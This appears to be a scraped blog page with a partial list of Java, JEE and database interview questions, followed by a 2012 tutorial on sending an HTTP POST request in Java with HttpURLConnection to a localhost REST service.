7) What is the difference between final, finally and finalize?

JEE

8) What is the difference between web server and app server?

9) Explain the Struts1/Struts2/MVC application architecture?

10) What is the difference between forward and sendredirect?

General

11) How does a 3 tier application differ from a 2 tier one?

12) How does the version control process works?

13) What is the difference between JAR and WAR files?

Databases

14) What is a Left outer join?

15) What is the difference between UNION and UNION ALL?

How to Send HTTP POST Request in Java

2012-03-14T22:46:00.001+05:30

How do I send a POST request using Java?

A POST request can be used for multiple purposes on the web. It can be used for performing the Create or Update operations for various resources. The most common usage of a POST request is in the form of a FORM on an HTML page.

The HTTP protocol doesn’t say anything about the best way to use the POST request but with the web the HTML has become the standard for issuing POST request.

One can also send POST requests from javascript (AJAX), .Net, PHP or Java based programs. Recently I had written a program to issue a POST request in Java.

If you have server listening for requests then this program code can be handy. In my case, it was a REST web service which was listening for POST requests. One can also issue these HTTP requests for servlets too.

The code follows:

package test;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;

public class Test {
 public static void main(String[] args) throws IOException {
  URL url = new URL("http://localhost:8080/resttest/services/Order/3");
  HttpURLConnection httpCon = (HttpURLConnection) url.openConnection();
  httpCon.setDoOutput(true);
  httpCon.setRequestMethod("POST");
  OutputStreamWriter out = new OutputStreamWriter(
      httpCon.getOutputStream());
  System.out.println(httpCon.getResponseCode());
  System.out.println(httpCon.getResponseMessage());
  out.close();
 }
}

Please replace the URL with the actual URL where the server application is listening for POST requests.

One can also use the same code for issuing the other HTTP requests which are GET,PUT and DELETE. To achieve that, change the line:

httpCon.setRequestMethod("POST");

httpCon.setRequestMethod("GET");

httpCon.setRequestMethod("PUT");

httpCon.setRequestMethod("DELETE");